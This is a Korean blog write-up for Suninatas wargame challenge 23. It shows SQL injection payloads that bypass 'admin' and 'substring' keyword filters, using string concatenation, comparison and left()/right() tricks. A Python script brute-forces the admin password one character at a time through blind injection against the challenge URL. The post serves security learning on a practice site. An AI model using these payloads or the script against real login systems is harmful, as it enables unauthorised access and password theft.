-
<Suninatas> 23번 문제Wargame/Suninatas 2021. 11. 7. 16:02
앞전에 풀었던 Suninatas 22번 문제와 유사하지만, 'admin'과 'substring'이 필터링되는 것을 확인할 수 있다.
페이지 소스 코드를 먼저 살펴보면 아래의 힌트를 찾을 수 있다.
전의 문제와 똑같이 guest의 로그인 정보를 주고 admin의 패스워드를 찾으라 한다.
그리고 'admin' 문자열을 우회하라고 한다.
무심결에 ad'+'min'--으로 로그인해보니 로그인에 성공하였다.
찾아보니 SQL에서 문자열을 '+'로 합칠 수 있는 특성을 이용하여 문자열을 우회할 수 있었다.
또 다른 방법으로 'or id <'b' 구문을 사용할 수 있다. 이는 SQL에서 문자열을 ASCII값 기준으로 크기를 비교할 수 있는 특성을 이용한다.
패스워드의 길이 먼저 찾아본다.
패스워드의 길이는 11보단 크고, 12보단 크지 않다. 즉, 패스워드의 길이가 12인 것을 알 수 있다.
이제 패스워드의 한 글자씩 알아본다.
앞서 풀었던 22번 문제에서는 substring()을 사용할 수 있었지만, 이 문제에선 사용할 수 없다.
따라서, left()와 right()를 사용했다.
left(string, count) : string의 왼쪽부터 count 개수만큼의 문자만 자름
right(string, count) : string의 오른쪽부터 count 개수만큼의 문자만 자름
left( "12345", 2 ) = 12 -- 좌측 문자열을 두 개 가져온다. right( "12345", 2 ) = 45 -- 우측 문자열을 두 개 가져온다. left(right( "12345",2 ),1 ) = 45 -> 4 -- 우측 두 개의 문자열에서 조회된 첫 번째 문자를 가져온다. left(right( "12345",3 ),1 ) = 345 -> 3 -- 우측 세 개의 문자열에서 조회된 첫 번째 문자를 가져온다.
직접 하나씩 찾을 수도 있지만, 편리하게 파이썬 코드를 통해 찾아본다.
로그인 시 아이디 입력 길이가 30으로 제한돼있어 ad'+'min' 대신 짧은 ' or을 이용한다. or로 인해 로그인 테이블에 존재하는 계정을 모두 불러오므로 비밀번호를 알아낼 때 admin 계정의 비밀번호만 획득하도록 한다.
'or Left(right(pw,1),1)='a'-- 'or Left(right(pw,1),1)='b'-- ... 'or Left(right(pw,12),1)='a'--
위 구문을 통해 패스워드의 끝부분부터 한 글자씩 획득할 수 있다.
import urllib.request # URL을 열기 위한 확장 가능한 라이브러리 import urllib.parse # URL을 구성 요소로 구문 분석 # password 길이 password_len = 12 pw = '' # 비밀번호 획득 for j in range(password_len,0, -1): for i in range(32127): url = "http://suninatas.com/challenge/web23/web23.asp?id=" inject = "'or Left(right(pw," + str(j) + "),1)='" + chr(i) + "'--" url = url + urllib.parse.quote(inject) + "&pw=1" # urllib.parse.quote() : URL의 경로 섹션을 인용 req = urllib.request.Request(url) # 클래스로 URL 요청의 추상화 f = urllib.request.urlopen(req) # 문자열이나 Request 객체일 수 있는 URL을 오픈 resp = f.read().decode("utf-8") if resp.find("<font size=4 color=blue>admin") != -1: print ("find: " + chr(i) ) pw += chr(i) break print ("password: ", pw)
위 파이썬 코드를 실행하면 패스워드를 획득할 수 있다.
'Wargame > Suninatas' 카테고리의 다른 글
<Suninatas> 22번 문제 (0) 2021.11.05 <Suninatas> 8번 문제 (0) 2021.11.01 <Suninatas> 7번 문제 (0) 2021.10.31 <Suninatas> 6번 문제 (0) 2021.10.31 <Suninatas> 5번 문제 (0) 2021.10.29